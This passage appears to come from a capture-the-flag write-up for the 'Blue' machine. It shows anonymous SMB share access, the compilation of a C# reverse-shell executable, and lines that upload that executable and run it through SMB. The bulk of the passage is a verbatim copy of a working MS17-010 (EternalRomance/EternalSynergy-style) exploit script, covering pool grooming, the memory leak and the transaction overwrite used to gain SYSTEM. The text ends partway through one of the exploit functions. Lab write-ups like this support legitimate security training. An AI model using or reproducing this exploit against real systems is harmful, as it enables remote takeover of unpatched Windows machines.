Try "help" to get a list of possible commands.
smb: \> dir
. DR 0 Fri Jul 21 08:56:23 2017
.. DR 0 Fri Jul 21 08:56:23 2017
Default DHR 0 Tue Jul 14 09:07:31 2009
desktop.ini AHS 174 Tue Jul 14 06:54:24 2009
Public DR 0 Tue Apr 12 09:51:29 2011

8362495 blocks of size 4096. 3752286 blocks available
smb: \>

We were able to find open SMB shares, and we need to verify that we have access to the shares. We can use smbclient to connect leaving the password blank.

The binary (nc reverse shell) can be generated by C# using the command ​

c:\PENTEST>c:\windows\Microsoft.NET\Framework\v3.5\csc.exe /t:exe /out:puckieshell443.exe puckieshell443.cs
Microsoft (R) Visual C# 2008 Compiler version 3.5.30729.8931
for Microsoft (R) .NET Framework version 3.5
Copyright (C) Microsoft Corporation. All rights reserved.

puckieshell443.cs(64,34): warning CS0168: The variable 'err' is declared but never used

next add the following 2 lines to below def smb

smb_send_file(smbConn, '/root/htb/blue/puckieshell443.exe', 'C', '/puckieshell443.exe')
service_exec(conn, r'cmd /c c:\\puckieshell443.exe')


root@kali:/opt/MS17-010# cat zzz_exploit.py 
#!/usr/bin/python
from impacket import smb, smbconnection
from mysmb import MYSMB
from struct import pack, unpack, unpack_from
import sys
import socket
import time

'''
MS17-010 exploit for Windows 2000 and later by sleepya

Note:
- The exploit should never crash a target (chance should be nearly 0%)
- The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed

Tested on:
- Windows 2016 x64
- Windows 10 Pro Build 10240 x64
- Windows 2012 R2 x64
- Windows 8.1 x64
- Windows 2008 R2 SP1 x64
- Windows 7 SP1 x64
- Windows 2008 SP1 x64
- Windows 2003 R2 SP2 x64
- Windows XP SP2 x64
- Windows 8.1 x86
- Windows 7 SP1 x86
- Windows 2008 SP1 x86
- Windows 2003 SP2 x86
- Windows XP SP3 x86
- Windows 2000 SP4 x86
'''

USERNAME = '//'
PASSWORD = ''

'''
A transaction with empty setup:
- it is allocated from paged pool (same as other transaction types) on Windows 7 and later
- it is allocated from private heap (RtlAllocateHeap()) with no on use it on Windows Vista and earlier
- no lookaside or caching method for allocating it

Note: method name is from NSA eternalromance

For Windows 7 and later, it is good to use matched pair method (one is large pool and another one is fit
for freed pool from large pool). Additionally, the exploit does the information leak to check transactions
alignment before doing OOB write. So this exploit should never crash a target against Windows 7 and later.

For Windows Vista and earlier, matched pair method is impossible because we cannot allocate transaction size
smaller than PAGE_SIZE (Windows XP can but large page pool does not split the last page of allocation). But
a transaction with empty setup is allocated on private heap (it is created by RtlCreateHeap() on initialing server).
Only this transaction type uses this heap. Normally, no one uses this transaction type. So transactions alignment
in this private heap should be very easy and very reliable (fish in a barrel in NSA eternalromance). The drawback
of this method is we cannot do information leak to verify transactions alignment before OOB write.
So this exploit has a chance to crash target same as NSA eternalromance against Windows Vista and earlier.
'''

'''
Reversed from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext()
win7 x64
struct SrvSecContext {
DWORD xx1; // second WORD is size
DWORD refCnt;
PACCESS_TOKEN Token; // 0x08
DWORD xx2;
BOOLEAN CopyOnOpen; // 0x14
BOOLEAN EffectiveOnly;
WORD xx3;
DWORD ImpersonationLevel; // 0x18
DWORD xx4;
BOOLEAN UsePsImpersonateClient; // 0x20
}
win2012 x64
struct SrvSecContext {
DWORD xx1; // second WORD is size
DWORD refCnt;
QWORD xx2;
QWORD xx3;
PACCESS_TOKEN Token; // 0x18
DWORD xx4;
BOOLEAN CopyOnOpen; // 0x24
BOOLEAN EffectiveOnly;
WORD xx3;
DWORD ImpersonationLevel; // 0x28
DWORD xx4;
BOOLEAN UsePsImpersonateClient; // 0x30
}

SrvImpersonateSecurityContext() is used in Windows Vista and later before doing any operation as logged on user.
It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true. 
From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL,
PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns
STATUS_SUCCESS when Token is NULL.
If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running thread will use primary token (SYSTEM)
to do all SMB operations.
Note: for Windows 2003 and earlier, the exploit modify token user and groups in PCtxtHandle to get SYSTEM because only
ImpersonateSecurityContext() is used in these Windows versions.
'''
###########################
# info for modify session security context
###########################
WIN7_64_SESSION_INFO = {
'SESSION_SECCTX_OFFSET': 0xa0,
'SESSION_ISNULL_OFFSET': 0xba,
'FAKE_SECCTX': pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1),
'SECCTX_SIZE': 0x28,
}

WIN7_32_SESSION_INFO = {
'SESSION_SECCTX_OFFSET': 0x80,
'SESSION_ISNULL_OFFSET': 0x96,
'FAKE_SECCTX': pack('<IIIIIIB', 0x1c022a, 1, 0, 0, 2, 0, 1),
'SECCTX_SIZE': 0x1c,
}

# win8+ info
WIN8_64_SESSION_INFO = {
'SESSION_SECCTX_OFFSET': 0xb0,
'SESSION_ISNULL_OFFSET': 0xca,
'FAKE_SECCTX': pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1),
'SECCTX_SIZE': 0x38,
}

WIN8_32_SESSION_INFO = {
'SESSION_SECCTX_OFFSET': 0x88,
'SESSION_ISNULL_OFFSET': 0x9e,
'FAKE_SECCTX': pack('<IIIIIIIIB', 0x24022a, 1, 0, 0, 0, 0, 2, 0, 1),
'SECCTX_SIZE': 0x24,
}

# win 2003 (xp 64 bit is win 2003)
WIN2K3_64_SESSION_INFO = {
'SESSION_ISNULL_OFFSET': 0xba,
'SESSION_SECCTX_OFFSET': 0xa0, # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
'SECCTX_PCTXTHANDLE_OFFSET': 0x10, # PCtxtHandle is at offset 0x8 but only upperPart is needed
'PCTXTHANDLE_TOKEN_OFFSET': 0x40,
'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
}

WIN2K3_32_SESSION_INFO = {
'SESSION_ISNULL_OFFSET': 0x96,
'SESSION_SECCTX_OFFSET': 0x80, # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
'SECCTX_PCTXTHANDLE_OFFSET': 0xc, # PCtxtHandle is at offset 0x8 but only upperPart is needed
'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
}

# win xp
WINXP_32_SESSION_INFO = {
'SESSION_ISNULL_OFFSET': 0x94,
'SESSION_SECCTX_OFFSET': 0x84, # PCtxtHandle is at offset 0x80 but only upperPart is needed
'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
'TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1': 0x40,
'TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1': 0x5c
}

WIN2K_32_SESSION_INFO = {
'SESSION_ISNULL_OFFSET': 0x94,
'SESSION_SECCTX_OFFSET': 0x84, # PCtxtHandle is at offset 0x80 but only upperPart is needed
'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
'TOKEN_USER_GROUP_CNT_OFFSET': 0x3c,
'TOKEN_USER_GROUP_ADDR_OFFSET': 0x58,
}

###########################
# info for exploitation
###########################
# for windows 2008+
WIN7_32_TRANS_INFO = {
'TRANS_SIZE' : 0xa0, # struct size
'TRANS_FLINK_OFFSET' : 0x18,
'TRANS_INPARAM_OFFSET' : 0x40,
'TRANS_OUTPARAM_OFFSET' : 0x44,
'TRANS_INDATA_OFFSET' : 0x48,
'TRANS_OUTDATA_OFFSET' : 0x4c,
'TRANS_PARAMCNT_OFFSET' : 0x58,
'TRANS_TOTALPARAMCNT_OFFSET' : 0x5c,
'TRANS_FUNCTION_OFFSET' : 0x72,
'TRANS_MID_OFFSET' : 0x80,
}

WIN7_64_TRANS_INFO = {
'TRANS_SIZE' : 0xf8, # struct size
'TRANS_FLINK_OFFSET' : 0x28,
'TRANS_INPARAM_OFFSET' : 0x70,
'TRANS_OUTPARAM_OFFSET' : 0x78,
'TRANS_INDATA_OFFSET' : 0x80,
'TRANS_OUTDATA_OFFSET' : 0x88,
'TRANS_PARAMCNT_OFFSET' : 0x98,
'TRANS_TOTALPARAMCNT_OFFSET' : 0x9c,
'TRANS_FUNCTION_OFFSET' : 0xb2,
'TRANS_MID_OFFSET' : 0xc0,
}

WIN5_32_TRANS_INFO = {
'TRANS_SIZE' : 0x98, # struct size
'TRANS_FLINK_OFFSET' : 0x18,
'TRANS_INPARAM_OFFSET' : 0x3c,
'TRANS_OUTPARAM_OFFSET' : 0x40,
'TRANS_INDATA_OFFSET' : 0x44,
'TRANS_OUTDATA_OFFSET' : 0x48,
'TRANS_PARAMCNT_OFFSET' : 0x54,
'TRANS_TOTALPARAMCNT_OFFSET' : 0x58,
'TRANS_FUNCTION_OFFSET' : 0x6e,
'TRANS_PID_OFFSET' : 0x78,
'TRANS_MID_OFFSET' : 0x7c,
}

WIN5_64_TRANS_INFO = {
'TRANS_SIZE' : 0xe0, # struct size
'TRANS_FLINK_OFFSET' : 0x28,
'TRANS_INPARAM_OFFSET' : 0x68,
'TRANS_OUTPARAM_OFFSET' : 0x70,
'TRANS_INDATA_OFFSET' : 0x78,
'TRANS_OUTDATA_OFFSET' : 0x80,
'TRANS_PARAMCNT_OFFSET' : 0x90,
'TRANS_TOTALPARAMCNT_OFFSET' : 0x94,
'TRANS_FUNCTION_OFFSET' : 0xaa,
'TRANS_PID_OFFSET' : 0xb4,
'TRANS_MID_OFFSET' : 0xb8,
}

X86_INFO = {
'ARCH' : 'x86',
'PTR_SIZE' : 4,
'PTR_FMT' : 'I',
'FRAG_TAG_OFFSET' : 12,
'POOL_ALIGN' : 8,
'SRV_BUFHDR_SIZE' : 8,
}

X64_INFO = {
'ARCH' : 'x64',
'PTR_SIZE' : 8,
'PTR_FMT' : 'Q',
'FRAG_TAG_OFFSET' : 0x14,
'POOL_ALIGN' : 0x10,
'SRV_BUFHDR_SIZE' : 0x10,
}

def merge_dicts(*dict_args):
result = {}
for dictionary in dict_args:
result.update(dictionary)
return result

OS_ARCH_INFO = {
# for Windows Vista, 2008, 7 and 2008 R2
'WIN7': {
'x86': merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN7_32_SESSION_INFO),
'x64': merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN7_64_SESSION_INFO),
},
# for Windows 8 and later
'WIN8': {
'x86': merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN8_32_SESSION_INFO),
'x64': merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN8_64_SESSION_INFO),
},
'WINXP': {
'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WINXP_32_SESSION_INFO),
'x64': merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO),
},
'WIN2K3': {
'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K3_32_SESSION_INFO),
'x64': merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO),
},
'WIN2K': {
'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K_32_SESSION_INFO),
},
}


TRANS_NAME_LEN = 4
HEAP_HDR_SIZE = 8 # heap chunk header size


def calc_alloc_size(size, align_size):
return (size + align_size - 1) & ~(align_size-1)

def wait_for_request_processed(conn):
#time.sleep(0.05)
# send echo is faster than sleep(0.05) when connection is very good
conn.send_echo('a')

def find_named_pipe(conn):
pipes = [ 'browser', 'spoolss', 'netlogon', 'lsarpc', 'samr' ]

tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
found_pipe = None
for pipe in pipes:
try:
fid = conn.nt_create_andx(tid, pipe)
conn.close(tid, fid)
found_pipe = pipe
break
except smb.SessionError as e:
pass

conn.disconnect_tree(tid)
return found_pipe


special_mid = 0
extra_last_mid = 0
def reset_extra_mid(conn):
global extra_last_mid, special_mid
special_mid = (conn.next_mid() & 0xff00) - 0x100
extra_last_mid = special_mid

def next_extra_mid():
global extra_last_mid
extra_last_mid += 1
return extra_last_mid


# Borrow 'groom' and 'bride' word from NSA tool
# GROOM_TRANS_SIZE includes transaction name, parameters and data
# Note: the GROOM_TRANS_SIZE size MUST be multiple of 16 to make FRAG_TAG_OFFSET valid
GROOM_TRANS_SIZE = 0x5010

def leak_frag_size(conn, tid, fid):
# this method can be used on Windows Vista/2008 and later
# leak "Frag" pool size and determine target architecture
info = {}

# A "Frag" pool is placed after the large pool allocation if last page has some free space left.
# A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version.
# To make exploit more generic, exploit does info leak to find a "Frag" pool size.
# From the leak info, we can determine the target architecture too.
mid = conn.next_mid()
req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-TRANS_NAME_LEN)
req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes

conn.send_raw(req1[:-8])
conn.send_raw(req1[-8:]+req2)
leakData = conn.recv_transaction_data(mid, 0x10d0+276)
leakData = leakData[0x10d4:] # skip parameters and its own input
# Detect target architecture and calculate frag pool size
if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
print('Target is 32 bit')
info['arch'] = 'x86'
info['FRAG_POOL_SIZE'] = ord(leakData[ X86_INFO['FRAG_TAG_OFFSET']-2 ]) * X86_INFO['POOL_ALIGN']
elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
print('Target is 64 bit')
info['arch'] = 'x64'
info['FRAG_POOL_SIZE'] = ord(leakData[ X64_INFO['FRAG_TAG_OFFSET']-2 ]) * X64_INFO['POOL_ALIGN']
else:
print('Not found Frag pool tag in leak data')
sys.exit()

print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE']))
return info


def read_data(conn, info, read_addr, read_size):
fmt = info['PTR_FMT']
# modify trans2.OutParameter to leak next transaction and trans2.OutData to leak real data
# modify trans2.*ParameterCount and trans2.*DataCount to limit data
new_data = pack('<'+fmt*3, info['trans2_addr']+info['TRANS_FLINK_OFFSET'], info['trans2_addr']+0x200, read_addr) # OutParameter, InData, OutData
new_data += pack('<II', 0, 0) # SetupCount, MaxSetupCount
new_data += pack('<III', 8, 8, 8) # ParamterCount, TotalParamterCount, MaxParameterCount
new_data += pack('<III', read_size, read_size, read_size) # DataCount, TotalDataCount, MaxDataCount
new_data += pack('<HH', 0, 5) # Category, Function (NT_RENAME)
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET'])

# create one more transaction before leaking data
# - next transaction can be used for arbitrary read/write after the current trans2 is done
# - next transaction address is from TransactionListEntry.Flink value
conn.send_nt_trans(5, param=pack('<HH', info['fid'], 0), totalDataCount=0x4300-0x20, totalParameterCount=0x1000)

# finish the trans2 to leak
conn.send_nt_trans_secondary(mid=info['trans2_mid'])
read_data = conn.recv_transaction_data(info['trans2_mid'], 8+read_size)

# set new trans2 address
info['trans2_addr'] = unpack_from('<'+fmt, read_data)[0] - info['TRANS_FLINK_OFFSET']

# set trans1.InData to &trans2
conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<'+fmt, info['trans2_addr']), paramDisplacement=info['TRANS_INDATA_OFFSET'])
wait_for_request_processed(conn)

# modify trans2 mid
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)

return read_data[8:] # no need to return parameter

def write_data(conn, info, write_addr, write_data):
# trans2.InData
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<'+info['PTR_FMT'], write_addr), dataDisplacement=info['TRANS_INDATA_OFFSET'])
wait_for_request_processed(conn)

# write data
conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data)
wait_for_request_processed(conn)


def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
trans_param = pack('<HH', fid, 0) # param for NT_RENAME
# fill large pagedpool holes (maybe no need)
for i in range(numFill):
conn.send_nt_trans(5, param=trans_param, totalDataCount=0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0)

mid_ntrename = conn.next_mid()
# first GROOM, for leaking next BRIDE transaction
req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A'*0x10d0, maxParameterCount=info['GROOM_DATA_SIZE']-0x10d0)
req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B'*276) # leak more 276 bytes
# second GROOM, for controlling next BRIDE transaction
req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=info['GROOM_DATA_SIZE']-0x1000, maxParameterCount=0x1000)
# many BRIDEs, expect two of them are allocated at splitted pool from GROOM
reqs = []
for i in range(12):
mid = next_extra_mid()
reqs.append(conn.create_trans_packet('', mid=mid, param=trans_param, totalDataCount=info['BRIDE_DATA_SIZE']-0x200, totalParameterCount=0x200, maxDataCount=0, maxParameterCount=0))

conn.send_raw(req1[:-8])
conn.send_raw(req1[-8:]+req2+req3+''.join(reqs))

# expected transactions alignment ("Frag" pool is not shown)
#
# | 5 * PAGE_SIZE | PAGE_SIZE | 5 * PAGE_SIZE | PAGE_SIZE |
# +-------------------------------+----------------+-------------------------------+----------------+
# | GROOM mid=mid_ntrename | extra_mid1 | GROOM mid=fid | extra_mid2 |
# +-------------------------------+----------------+-------------------------------+----------------+
#
# If transactions are aligned as we expected, BRIDE transaction with mid=extra_mid1 will be leaked.
# From leaked transaction, we get
# - leaked transaction address from InParameter or InData
# - transaction, with mid=extra_mid2, address from LIST_ENTRY.Flink
# With these information, we can verify the transaction aligment from displacement.

leakData = conn.recv_transaction_data(mid_ntrename, 0x10d0+276)
leakData = leakData[0x10d4:] # skip parameters and its own input
#open('leak.dat', 'wb').write(leakData)

if leakData[info['FRAG_TAG_OFFSET']:info['FRAG_TAG_OFFSET']+4] != 'Frag':
print('Not found Frag pool tag in leak data')
return None

# ================================
# verify leak data
# ================================
leakData = leakData[info['FRAG_TAG_OFFSET']-4+info['FRAG_POOL_SIZE']:]
# check pool tag and size value in buffer header
expected_size = pack('<H', info['BRIDE_TRANS_SIZE'])
leakTransOffset = info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE']
if leakData[0x4:0x8] != 'LStr' or leakData[info['POOL_ALIGN']:info['POOL_ALIGN']+2] != expected_size or leakData[leakTransOffset+2:leakTransOffset+4] != expected_size:
print('No transaction struct in leak data')
return None

leakTrans = leakData[leakTransOffset:]

ptrf = info['PTR_FMT']
_, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+ptrf*5, leakTrans, 8)
inparam_value = unpack_from('<'+ptrf, leakTrans, info['TRANS_INPARAM_OFFSET'])[0]
leak_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]

print('CONNECTION: 0x{:x}'.format(connection_addr))
print('SESSION: 0x{:x}'.format(session_addr))
print('FLINK: 0x{:x}'.format(flink_value))
print('InParam: 0x{:x}'.format(inparam_value))
print('MID: 0x{:x}'.format(leak_mid))

next_page_addr = (inparam_value & 0xfffffffffffff000) + 0x1000
if next_page_addr + info['GROOM_POOL_SIZE'] + info['FRAG_POOL_SIZE'] + info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE'] + info['TRANS_FLINK_OFFSET'] != flink_value:
print('unexpected alignment, diff: 0x{:x}'.format(flink_value - next_page_addr))
return None
# trans1: leak transaction
# trans2: next transaction
return {
'connection': connection_addr,
'session': session_addr,
'next_page_addr': next_page_addr,
'trans1_mid': leak_mid,
'trans1_addr': inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN,
'trans2_addr': flink_value - info['TRANS_FLINK_OFFSET'],
}

def exploit_matched_pairs(conn, pipe_name, info):
# for Windows 7/2008 R2 and later

tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
conn.set_default_tid(tid)
# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
fid = conn.nt_create_andx(tid, pipe_name)

info.update(leak_frag_size(conn, tid, fid))
# add os and arch specific exploit info
info.update(OS_ARCH_INFO[info['os']][info['arch']])

# groom: srv buffer header
info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])
print('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE']))
# groom paramters and data is alignment by 8 because it is NT_TRANS
info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - TRANS_NAME_LEN - 4 - info['TRANS_SIZE'] # alignment (4)

# bride: srv buffer header, pool header (same as pool align size), empty transaction name (4)
bridePoolSize = 0x1000 - (info['GROOM_POOL_SIZE'] & 0xfff) - info['FRAG_POOL_SIZE']
info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'])
print('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE']))
# bride paramters and data is alignment by 4 because it is TRANS
info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - TRANS_NAME_LEN - info['TRANS_SIZE']

# ================================
# try align pagedpool and leak info until satisfy
# ================================
leakInfo = None
# max attempt: 10
for i in range(10):
reset_extra_mid(conn)
leakInfo = align_transaction_and_leak(conn, tid, fid, info)
if leakInfo is not None:
break
print('leak failed... try again')
conn.close(tid, fid)
conn.disconnect_tree(tid)

tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
conn.set_default_tid(tid)
fid = conn.nt_create_andx(tid, pipe_name)

if leakInfo is None:
return False

info['fid'] = fid
info.update(leakInfo)

# ================================
# shift transGroom.Indata ptr with SmbWriteAndX
# ================================
shift_indata_byte = 0x200
conn.do_write_andx_raw_pipe(fid, 'A'*shift_indata_byte)

# Note: Even the distance between bride transaction is exactly what we want, the groom transaction might be in a wrong place.
# So the below operation is still dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
# maxParameterCount (0x1000), trans name (4), param (4)
indata_value = info['next_page_addr'] + info['TRANS_SIZE'] + 8 + info['SRV_BUFHDR_SIZE'] + 0x1000 + shift_indata_byte
indata_next_trans_displacement = info['trans2_addr'] - indata_value
conn.send_nt_trans_secondary(mid=fid, data='\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)

# if the overwritten is correct, a modified transaction mid should be special_mid now.
# a new transaction with special_mid should be error.
recvPkt = conn.send_nt_trans(5, mid=special_mid, param=pack('<HH', fid, 0), data='')
if recvPkt.getNTStatus() != 0x10002: # invalid SMB
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
print('!!! Write to wrong place !!!')
print('the target might be crashed')
return False

print('success controlling groom transaction')

# NSA exploit set refCnt on leaked transaction to very large number for reading data repeatly
# but this method make the transation never get freed
# I will avoid memory leak

# ================================
# modify trans1 struct to be used for arbitrary read/write
# ================================
print('modify trans1 struct for arbitrary read/write')
fmt = info['PTR_FMT']
# use transGroom to modify trans2.InData to &trans1. so we can modify trans1 with trans2 data
conn.send_nt_trans_secondary(mid=fid, data=pack('<'+fmt, info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + info['TRANS_INDATA_OFFSET'])
wait_for_request_processed(conn)

# modify
# - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param)
# - trans1.InData to &trans2. so we can modify trans2 with trans1 data
conn.send_nt_trans_secondary(mid=special_mid, data=pack('<'+fmt*3, info['trans1_addr'], info['trans1_addr']+0x200, info['trans2_addr']), dataDisplacement=info['TRANS_INPARAM_OFFSET'])
wait_for_request_processed(conn)

# modify trans2.mid
info['trans2_mid'] = conn.next_mid()
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
return True

def exploit_fish_barrel(conn, pipe_name, info):
# for Windows Vista/2008 and earlier

tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
conn.set_default_tid(tid)
# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
fid = conn.nt_create_andx(tid, pipe_name)
info['fid'] = fid

if info['os'] == 'WIN7' and 'arch' not in info:
# leak_frag_size() can be used against Windows Vista/2008 to determine target architecture
info.update(leak_frag_size(conn, tid, fid))

if 'arch' in info:
# add os and arch specific exploit info
info.update(OS_ARCH_INFO[info['os']][info['arch']])
attempt_list = [ OS_ARCH_INFO[info['os']][info['arch']] ]
else:
# do not know target architecture
# this case is only for Windows 2003
# try offset of 64 bit then 32 bit because no target architecture
attempt_list = [ OS_ARCH_INFO[info['os']]['x64'], OS_ARCH_INFO[info['os']]['x86'] ]

# ================================
# groom packets
# ================================
# sum of transaction name, parameters and data length is 0x1000
# paramterCount = 0x100-TRANS_NAME_LEN
print('Groom packets')
trans_param = pack('<HH', info['fid'], 0)
for i in range(12):
mid = info['fid'] if i == 8 else next_extra_mid()
conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=0x100-TRANS_NAME_LEN, totalDataCount=0xec0, maxParameterCount=0x40, maxDataCount=0) 

# expected transactions alignment
#
# +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
# | mid=mid1 | mid=mid2 | | mid=mid8 | mid=fid | mid=mid9 | mid=mid10 | mid=mid11 |
# +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
# trans1 trans2

# ================================
# shift transaction Indata ptr with SmbWriteAndX
# ================================
shift_indata_byte = 0x200
conn.do_write_andx_raw_pipe(info['fid'], 'A'*shift_indata_byte)

# ================================
# Dangerous operation: attempt to control one transaction
# ================================
# Note: POOL_ALIGN value is same as heap alignment value
success = False
for tinfo in attempt_list:
print('attempt controlling next transaction on ' + tinfo['ARCH'])
HEAP_CHUNK_PAD_SIZE = (tinfo['POOL_ALIGN'] - (tinfo['TRANS_SIZE']+HEAP_HDR_SIZE) % tinfo['POOL_ALIGN']) % tinfo['POOL_ALIGN']
NEXT_TRANS_OFFSET = 0xf00 - shift_indata_byte + HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE

# Below operation is dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
conn.send_trans_secondary(mid=info['fid'], data='\x00', dataDisplacement=NEXT_TRANS_OFFSET+tinfo['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)

# if the overwritten is correct, a modified transaction mid should be special_mid now.
# a new transaction with special_mid should be error.
recvPkt = conn.send_nt_trans(5, mid=special_mid, param=trans_param, data='')
if recvPkt.getNTStatus() == 0x10002: # invalid SMB
print('success controlling one transaction')
success = True
if 'arch' not in info:
print('Target is '+tinfo['ARCH'])
info['arch'] = tinfo['ARCH']
info.update(OS_ARCH_INFO[info['os']][info['arch']])
break
if recvPkt.getNTStatus() != 0:
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))

if not success:
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
print('!!! Write to wrong place !!!')
print('the target might be crashed')
return False


# NSA eternalromance modify transaction RefCount to keep controlled and reuse transaction after leaking info.
# This is easy to to but the modified transaction will never be freed. The next exploit attempt might be harder
# because of this unfreed memory chunk. I will avoid it.

# From a picture above, now we can only control trans2 by trans1 data. Also we know only offset of these two 
# transactions (do not know the address).
# After reading memory by modifying and completing trans2, trans2 cannot be used anymore.
# To be able to use trans1 after trans2 is gone, we need to modify trans1 to be able to modify itself.
# To be able to modify trans1 struct, we need to use trans2 param or data but write backward.
# On 32 bit target, we can write to any address if parameter count is 0xffffffff.
# On 64 bit target, modifying paramter count is not enough because address size is 64 bit. Because our transactions
# are allocated with RtlAllocateHeap(), the HIDWORD of InParameter is always 0. To be able to write backward with offset only,
# we also modify HIDWORD of InParameter to 0xffffffff.

print('modify parameter count to 0xffffffff to be able to write backward')
conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
# on 64 bit, modify InParameter last 4 bytes to \xff\xff\xff\xff too
if info['arch'] == 'x64':
conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
wait_for_request_processed(conn)

TRANS_CHUNK_SIZE = HEAP_HDR_SIZE + info['TRANS_SIZE'] + 0x1000 + HEAP_CHUNK_PAD_SIZE
PREV_TRANS_DISPLACEMENT = TRANS_CHUNK_SIZE + info['TRANS_SIZE'] + TRANS_NAME_LEN
PREV_TRANS_OFFSET = 0x100000000 - PREV_TRANS_DISPLACEMENT

# modify paramterCount of first transaction
conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
if info['arch'] == 'x64':
conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
# restore trans2.InParameters pointer before leaking next transaction
conn.send_trans_secondary(mid=info['fid'], data='\x00'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
